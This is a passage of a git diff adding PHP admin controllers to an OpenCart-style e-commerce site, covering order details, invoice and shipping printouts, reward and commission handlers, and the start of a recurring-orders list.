+ if ($order_status_info) {
+ $data['order_status'] = $order_status_info['name'];
+ } else {
+ $data['order_status'] = '';
+ }
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['order_status_id'] = $order_info['order_status_id'];
+
+ $data['account_custom_field'] = $order_info['custom_field'];
+
+ // Custom Fields
+ $this->load->model('customer/custom_field');
+
+ $data['account_custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => 'cf.sort_order',
+ 'order' => 'ASC'
+ );
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($custom_fields as $custom_field) {
+ if ($custom_field['location'] == 'account' && isset($order_info['custom_field'][$custom_field['custom_field_id']])) {
+ if ($custom_field['type'] == 'select' || $custom_field['type'] == 'radio') {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($order_info['custom_field'][$custom_field['custom_field_id']]);
+
+ if ($custom_field_value_info) {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name']
+ );
+ }
+ }
+
+ if ($custom_field['type'] == 'checkbox' && is_array($order_info['custom_field'][$custom_field['custom_field_id']])) {
+ foreach ($order_info['custom_field'][$custom_field['custom_field_id']] as $custom_field_value_id) {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($custom_field_value_id);
+
+ if ($custom_field_value_info) {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name']
+ );
+ }
+ }
+ }
+
+ if ($custom_field['type'] == 'text' || $custom_field['type'] == 'textarea' || $custom_field['type'] == 'file' || $custom_field['type'] == 'date' || $custom_field['type'] == 'datetime' || $custom_field['type'] == 'time') {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $order_info['custom_field'][$custom_field['custom_field_id']]
+ );
+ }
+
+ if ($custom_field['type'] == 'file') {
+ $upload_info = $this->model_tool_upload->getUploadByCode($order_info['custom_field'][$custom_field['custom_field_id']]);
+
+ if ($upload_info) {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $upload_info['name']
+ );
+ }
+ }
+ }
+ }
+
+ // Custom fields
+ $data['payment_custom_fields'] = array();
+
+ foreach ($custom_fields as $custom_field) {
+ if ($custom_field['location'] == 'address' && isset($order_info['payment_custom_field'][$custom_field['custom_field_id']])) {
+ if ($custom_field['type'] == 'select' || $custom_field['type'] == 'radio') {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($order_info['payment_custom_field'][$custom_field['custom_field_id']]);
+
+ if ($custom_field_value_info) {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+
+ if ($custom_field['type'] == 'checkbox' && is_array($order_info['payment_custom_field'][$custom_field['custom_field_id']])) {
+ foreach ($order_info['payment_custom_field'][$custom_field['custom_field_id']] as $custom_field_value_id) {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($custom_field_value_id);
+
+ if ($custom_field_value_info) {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+
+ if ($custom_field['type'] == 'text' || $custom_field['type'] == 'textarea' || $custom_field['type'] == 'file' || $custom_field['type'] == 'date' || $custom_field['type'] == 'datetime' || $custom_field['type'] == 'time') {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $order_info['payment_custom_field'][$custom_field['custom_field_id']],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ if ($custom_field['type'] == 'file') {
+ $upload_info = $this->model_tool_upload->getUploadByCode($order_info['payment_custom_field'][$custom_field['custom_field_id']]);
+
+ if ($upload_info) {
+ $data['payment_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $upload_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+ }
+
+ // Shipping
+ $data['shipping_custom_fields'] = array();
+
+ foreach ($custom_fields as $custom_field) {
+ if ($custom_field['location'] == 'address' && isset($order_info['shipping_custom_field'][$custom_field['custom_field_id']])) {
+ if ($custom_field['type'] == 'select' || $custom_field['type'] == 'radio') {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($order_info['shipping_custom_field'][$custom_field['custom_field_id']]);
+
+ if ($custom_field_value_info) {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+
+ if ($custom_field['type'] == 'checkbox' && is_array($order_info['shipping_custom_field'][$custom_field['custom_field_id']])) {
+ foreach ($order_info['shipping_custom_field'][$custom_field['custom_field_id']] as $custom_field_value_id) {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($custom_field_value_id);
+
+ if ($custom_field_value_info) {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+
+ if ($custom_field['type'] == 'text' || $custom_field['type'] == 'textarea' || $custom_field['type'] == 'file' || $custom_field['type'] == 'date' || $custom_field['type'] == 'datetime' || $custom_field['type'] == 'time') {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $order_info['shipping_custom_field'][$custom_field['custom_field_id']],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ if ($custom_field['type'] == 'file') {
+ $upload_info = $this->model_tool_upload->getUploadByCode($order_info['shipping_custom_field'][$custom_field['custom_field_id']]);
+
+ if ($upload_info) {
+ $data['shipping_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $upload_info['name'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+ }
+ }
+ }
+
+ $data['ip'] = $order_info['ip'];
+ $data['forwarded_ip'] = $order_info['forwarded_ip'];
+ $data['user_agent'] = $order_info['user_agent'];
+ $data['accept_language'] = $order_info['accept_language'];
+
+ // Additional Tabs
+ $data['tabs'] = array();
+
+ if ($this->user->hasPermission('access', 'extension/payment/' . $order_info['payment_code'])) {
+ if (is_file(DIR_CATALOG . 'controller/extension/payment/' . $order_info['payment_code'] . '.php')) {
+ $content = $this->load->controller('extension/payment/' . $order_info['payment_code'] . '/order');
+ } else {
+ $content = '';
+ }
+
+ if ($content) {
+ $this->load->language('extension/payment/' . $order_info['payment_code']);
+
+ $data['tabs'][] = array(
+ 'code' => $order_info['payment_code'],
+ 'title' => $this->language->get('heading_title'),
+ 'content' => $content
+ );
+ }
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('fraud');
+
+ foreach ($extensions as $extension) {
+ if ($this->config->get('fraud_' . $extension . '_status')) {
+ $this->load->language('extension/fraud/' . $extension, 'extension');
+
+ $content = $this->load->controller('extension/fraud/' . $extension . '/order');
+
+ if ($content) {
+ $data['tabs'][] = array(
+ 'code' => $extension,
+ 'title' => $this->language->get('extension')->get('heading_title'),
+ 'content' => $content
+ );
+ }
+ }
+ }
+
+ // The URL we send API requests to
+ $data['catalog'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ // API login
+ $this->load->model('user/api');
+
+ $api_info = $this->model_user_api->getApi($this->config->get('config_api_id'));
+
+ if ($api_info && $this->user->hasPermission('modify', 'sale/order')) {
+ $session = new Session($this->config->get('session_engine'), $this->registry);
+
+ $session->start();
+
+ $this->model_user_api->deleteApiSessionBySessionId($session->getId());
+
+ $this->model_user_api->addApiSession($api_info['api_id'], $session->getId(), $this->request->server['REMOTE_ADDR']);
+
+ $session->data['api_id'] = $api_info['api_id'];
+
+ $data['api_token'] = $session->getId();
+ } else {
+ $data['api_token'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/order_info', $data));
+ } else {
+ return new Action('error/not_found');
+ }
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function createInvoiceNo() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } elseif (isset($this->request->get['order_id'])) {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $invoice_no = $this->model_sale_order->createInvoiceNo($order_id);
+
+ if ($invoice_no) {
+ $json['invoice_no'] = $invoice_no;
+ } else {
+ $json['error'] = $this->language->get('error_action');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function addReward() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info && $order_info['customer_id'] && ($order_info['reward'] > 0)) {
+ $this->load->model('customer/customer');
+
+ $reward_total = $this->model_customer_customer->getTotalCustomerRewardsByOrderId($order_id);
+
+ if (!$reward_total) {
+ $this->model_customer_customer->addReward($order_info['customer_id'], $this->language->get('text_order_id') . ' #' . $order_id, $order_info['reward'], $order_id);
+ }
+ }
+
+ $json['success'] = $this->language->get('text_reward_added');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeReward() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->deleteReward($order_id);
+ }
+
+ $json['success'] = $this->language->get('text_reward_removed');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function addCommission() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->model('customer/customer');
+
+ $affiliate_total = $this->model_customer_customer->getTotalTransactionsByOrderId($order_id);
+
+ if (!$affiliate_total) {
+ $this->model_customer_customer->addTransaction($order_info['affiliate_id'], $this->language->get('text_order_id') . ' #' . $order_id, $order_info['commission'], $order_id);
+ }
+ }
+
+ $json['success'] = $this->language->get('text_commission_added');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeCommission() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/order')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->deleteTransactionByOrderId($order_id);
+ }
+
+ $json['success'] = $this->language->get('text_commission_removed');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function history() {
+ $this->load->language('sale/order');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $this->load->model('sale/order');
+
+ $results = $this->model_sale_order->getOrderHistories($this->request->get['order_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'notify' => $result['notify'] ? $this->language->get('text_yes') : $this->language->get('text_no'),
+ 'status' => $result['status'],
+ 'comment' => nl2br($result['comment']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_sale_order->getTotalOrderHistories($this->request->get['order_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('sale/order/history', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $this->request->get['order_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('sale/order_history', $data));
+ }
+
+ public function invoice() {
+ $this->load->language('sale/order');
+
+ $data['title'] = $this->language->get('text_invoice');
+
+ if ($this->request->server['HTTPS']) {
+ $data['base'] = HTTPS_SERVER;
+ } else {
+ $data['base'] = HTTP_SERVER;
+ }
+
+ $data['direction'] = $this->language->get('direction');
+ $data['lang'] = $this->language->get('code');
+
+ $this->load->model('sale/order');
+
+ $this->load->model('setting/setting');
+
+ $data['orders'] = array();
+
+ $orders = array();
+
+ if (isset($this->request->post['selected'])) {
+ $orders = $this->request->post['selected'];
+ } elseif (isset($this->request->get['order_id'])) {
+ $orders[] = $this->request->get['order_id'];
+ }
+
+ foreach ($orders as $order_id) {
+ $order_info = $this->model_sale_order->getOrder($order_id);
+ $data['text_order'] = sprintf($this->language->get('text_order'), $order_id);
+
+ if ($order_info) {
+ $store_info = $this->model_setting_setting->getSetting('config', $order_info['store_id']);
+
+ if ($store_info) {
+ $store_address = $store_info['config_address'];
+ $store_email = $store_info['config_email'];
+ $store_telephone = $store_info['config_telephone'];
+ $store_fax = $store_info['config_fax'];
+ } else {
+ $store_address = $this->config->get('config_address');
+ $store_email = $this->config->get('config_email');
+ $store_telephone = $this->config->get('config_telephone');
+ $store_fax = $this->config->get('config_fax');
+ }
+
+ if ($order_info['invoice_no']) {
+ $invoice_no = $order_info['invoice_prefix'] . $order_info['invoice_no'];
+ } else {
+ $invoice_no = '';
+ }
+
+ if ($order_info['payment_address_format']) {
+ $format = $order_info['payment_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['payment_firstname'],
+ 'lastname' => $order_info['payment_lastname'],
+ 'company' => $order_info['payment_company'],
+ 'address_1' => $order_info['payment_address_1'],
+ 'address_2' => $order_info['payment_address_2'],
+ 'city' => $order_info['payment_city'],
+ 'postcode' => $order_info['payment_postcode'],
+ 'zone' => $order_info['payment_zone'],
+ 'zone_code' => $order_info['payment_zone_code'],
+ 'country' => $order_info['payment_country']
+ );
+
+ $payment_address = str_replace(array("\r\n", "\r", "\n"), ' ', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), ' ', trim(str_replace($find, $replace, $format))));
+
+ if ($order_info['shipping_address_format']) {
+ $format = $order_info['shipping_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['shipping_firstname'],
+ 'lastname' => $order_info['shipping_lastname'],
+ 'company' => $order_info['shipping_company'],
+ 'address_1' => $order_info['shipping_address_1'],
+ 'address_2' => $order_info['shipping_address_2'],
+ 'city' => $order_info['shipping_city'],
+ 'postcode' => $order_info['shipping_postcode'],
+ 'zone' => $order_info['shipping_zone'],
+ 'zone_code' => $order_info['shipping_zone_code'],
+ 'country' => $order_info['shipping_country']
+ );
+
+ $shipping_address = str_replace(array("\r\n", "\r", "\n"), ' ', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), ' ', trim(str_replace($find, $replace, $format))));
+
+ $this->load->model('tool/upload');
+
+ $product_data = array();
+
+ $products = $this->model_sale_order->getOrderProducts($order_id);
+
+ foreach ($products as $product) {
+ $option_data = array();
+
+ $options = $this->model_sale_order->getOrderOptions($order_id, $product['order_product_id']);
+
+ foreach ($options as $option) {
+ if ($option['type'] != 'file') {
+ $value = $option['value'];
+ } else {
+ $upload_info = $this->model_tool_upload->getUploadByCode($option['value']);
+
+ if ($upload_info) {
+ $value = $upload_info['name'];
+ } else {
+ $value = '';
+ }
+ }
+
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $value
+ );
+ }
+
+ $product_data[] = array(
+ 'name' => $product['name'],
+ 'model' => $product['model'],
+ 'option' => $option_data,
+ 'quantity' => $product['quantity'],
+ 'price' => $this->currency->format($product['price'] + ($this->config->get('config_tax') ? $product['tax'] : 0), $order_info['currency_code'], $order_info['currency_value']),
+ 'total' => $this->currency->format($product['total'] + ($this->config->get('config_tax') ? ($product['tax'] * $product['quantity']) : 0), $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $voucher_data = array();
+
+ $vouchers = $this->model_sale_order->getOrderVouchers($order_id);
+
+ foreach ($vouchers as $voucher) {
+ $voucher_data[] = array(
+ 'description' => $voucher['description'],
+ 'amount' => $this->currency->format($voucher['amount'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $total_data = array();
+
+ $totals = $this->model_sale_order->getOrderTotals($order_id);
+
+ foreach ($totals as $total) {
+ $total_data[] = array(
+ 'title' => $total['title'],
+ 'text' => $this->currency->format($total['value'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $data['orders'][] = array(
+ 'order_id' => $order_id,
+ 'invoice_no' => $invoice_no,
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($order_info['date_added'])),
+ 'store_name' => $order_info['store_name'],
+ 'store_url' => rtrim($order_info['store_url'], '/'),
+ 'store_address' => nl2br($store_address),
+ 'store_email' => $store_email,
+ 'store_telephone' => $store_telephone,
+ 'store_fax' => $store_fax,
+ 'email' => $order_info['email'],
+ 'telephone' => $order_info['telephone'],
+ 'shipping_address' => $shipping_address,
+ 'shipping_method' => $order_info['shipping_method'],
+ 'payment_address' => $payment_address,
+ 'payment_method' => $order_info['payment_method'],
+ 'product' => $product_data,
+ 'voucher' => $voucher_data,
+ 'total' => $total_data,
+ 'comment' => nl2br($order_info['comment'])
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('sale/order_invoice', $data));
+ }
+
+ public function shipping() {
+ $this->load->language('sale/order');
+
+ $data['title'] = $this->language->get('text_shipping');
+
+ if ($this->request->server['HTTPS']) {
+ $data['base'] = HTTPS_SERVER;
+ } else {
+ $data['base'] = HTTP_SERVER;
+ }
+
+ $data['direction'] = $this->language->get('direction');
+ $data['lang'] = $this->language->get('code');
+
+ $this->load->model('sale/order');
+
+ $this->load->model('catalog/product');
+
+ $this->load->model('setting/setting');
+
+ $data['orders'] = array();
+
+ $orders = array();
+
+ if (isset($this->request->post['selected'])) {
+ $orders = $this->request->post['selected'];
+ } elseif (isset($this->request->get['order_id'])) {
+ $orders[] = $this->request->get['order_id'];
+ }
+
+ foreach ($orders as $order_id) {
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ // Make sure there is a shipping method
+ if ($order_info && $order_info['shipping_code']) {
+ $store_info = $this->model_setting_setting->getSetting('config', $order_info['store_id']);
+
+ if ($store_info) {
+ $store_address = $store_info['config_address'];
+ $store_email = $store_info['config_email'];
+ $store_telephone = $store_info['config_telephone'];
+ } else {
+ $store_address = $this->config->get('config_address');
+ $store_email = $this->config->get('config_email');
+ $store_telephone = $this->config->get('config_telephone');
+ }
+
+ if ($order_info['invoice_no']) {
+ $invoice_no = $order_info['invoice_prefix'] . $order_info['invoice_no'];
+ } else {
+ $invoice_no = '';
+ }
+
+ if ($order_info['shipping_address_format']) {
+ $format = $order_info['shipping_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['shipping_firstname'],
+ 'lastname' => $order_info['shipping_lastname'],
+ 'company' => $order_info['shipping_company'],
+ 'address_1' => $order_info['shipping_address_1'],
+ 'address_2' => $order_info['shipping_address_2'],
+ 'city' => $order_info['shipping_city'],
+ 'postcode' => $order_info['shipping_postcode'],
+ 'zone' => $order_info['shipping_zone'],
+ 'zone_code' => $order_info['shipping_zone_code'],
+ 'country' => $order_info['shipping_country']
+ );
+
+ $shipping_address = str_replace(array("\r\n", "\r", "\n"), ' ', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), ' ', trim(str_replace($find, $replace, $format))));
+
+ $this->load->model('tool/upload');
+
+ $product_data = array();
+
+ $products = $this->model_sale_order->getOrderProducts($order_id);
+
+ foreach ($products as $product) {
+ $option_weight = 0;
+
+ $product_info = $this->model_catalog_product->getProduct($product['product_id']);
+
+ if ($product_info) {
+ $option_data = array();
+
+ $options = $this->model_sale_order->getOrderOptions($order_id, $product['order_product_id']);
+
+ foreach ($options as $option) {
+ if ($option['type'] != 'file') {
+ $value = $option['value'];
+ } else {
+ $upload_info = $this->model_tool_upload->getUploadByCode($option['value']);
+
+ if ($upload_info) {
+ $value = $upload_info['name'];
+ } else {
+ $value = '';
+ }
+ }
+
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $value
+ );
+
+ $product_option_value_info = $this->model_catalog_product->getProductOptionValue($product['product_id'], $option['product_option_value_id']);
+
+ if (!empty($product_option_value_info['weight'])) {
+ if ($product_option_value_info['weight_prefix'] == '+') {
+ $option_weight += $product_option_value_info['weight'];
+ } elseif ($product_option_value_info['weight_prefix'] == '-') {
+ $option_weight -= $product_option_value_info['weight'];
+ }
+ }
+ }
+
+ $product_data[] = array(
+ 'name' => $product_info['name'],
+ 'model' => $product_info['model'],
+ 'option' => $option_data,
+ 'quantity' => $product['quantity'],
+ 'location' => $product_info['location'],
+ 'sku' => $product_info['sku'],
+ 'upc' => $product_info['upc'],
+ 'ean' => $product_info['ean'],
+ 'jan' => $product_info['jan'],
+ 'isbn' => $product_info['isbn'],
+ 'mpn' => $product_info['mpn'],
+ 'weight' => $this->weight->format(($product_info['weight'] + (float)$option_weight) * $product['quantity'], $product_info['weight_class_id'], $this->language->get('decimal_point'), $this->language->get('thousand_point'))
+ );
+ }
+ }
+
+ $data['orders'][] = array(
+ 'order_id' => $order_id,
+ 'invoice_no' => $invoice_no,
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($order_info['date_added'])),
+ 'store_name' => $order_info['store_name'],
+ 'store_url' => rtrim($order_info['store_url'], '/'),
+ 'store_address' => nl2br($store_address),
+ 'store_email' => $store_email,
+ 'store_telephone' => $store_telephone,
+ 'email' => $order_info['email'],
+ 'telephone' => $order_info['telephone'],
+ 'shipping_address' => $shipping_address,
+ 'shipping_method' => $order_info['shipping_method'],
+ 'product' => $product_data,
+ 'comment' => nl2br($order_info['comment'])
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('sale/order_shipping', $data));
+ }
+}
diff --git a/public/admin/controller/sale/recurring.php b/public/admin/controller/sale/recurring.php
new file mode 100644
index 0000000..9e634da
--- /dev/null
+++ b/public/admin/controller/sale/recurring.php
@@ -0,0 +1,432 @@
+load->language('sale/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/recurring');
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $filter_order_recurring_id = $this->request->get['filter_order_recurring_id'];
+ } else {
+ $filter_order_recurring_id = '';
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $filter_order_id = $this->request->get['filter_order_id'];
+ } else {
+ $filter_order_id = '';
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $filter_reference = $this->request->get['filter_reference'];
+ } else {
+ $filter_reference = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = 0;
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'order_recurring_id';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . $this->request->get['filter_reference'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['recurrings'] = array();
+
+ $filter_data = array(
+ 'filter_order_recurring_id' => $filter_order_recurring_id,
+ 'filter_order_id' => $filter_order_id,
+ 'filter_reference' => $filter_reference,
+ 'filter_customer' => $filter_customer,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'order' => $order,
+ 'sort' => $sort,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $recurrings_total = $this->model_sale_recurring->getTotalRecurrings($filter_data);
+
+ $results = $this->model_sale_recurring->getRecurrings($filter_data);
+
+ foreach ($results as $result) {
+ if ($result['status']) {
+ $status = $this->language->get('text_status_' . $result['status']);
+ } else {
+ $status = '';
+ }
+
+ $data['recurrings'][] = array(
+ 'order_recurring_id' => $result['order_recurring_id'],
+ 'order_id' => $result['order_id'],
+ 'reference' => $result['reference'],
+ 'customer' => $result['customer'],
+ 'status' => $status,
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'view' => $this->url->link('sale/recurring/info', 'user_token=' . $this->session->data['user_token'] . '&order_recurring_id=' . $result['order_recurring_id'] . $url, true),
+ 'order' => $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
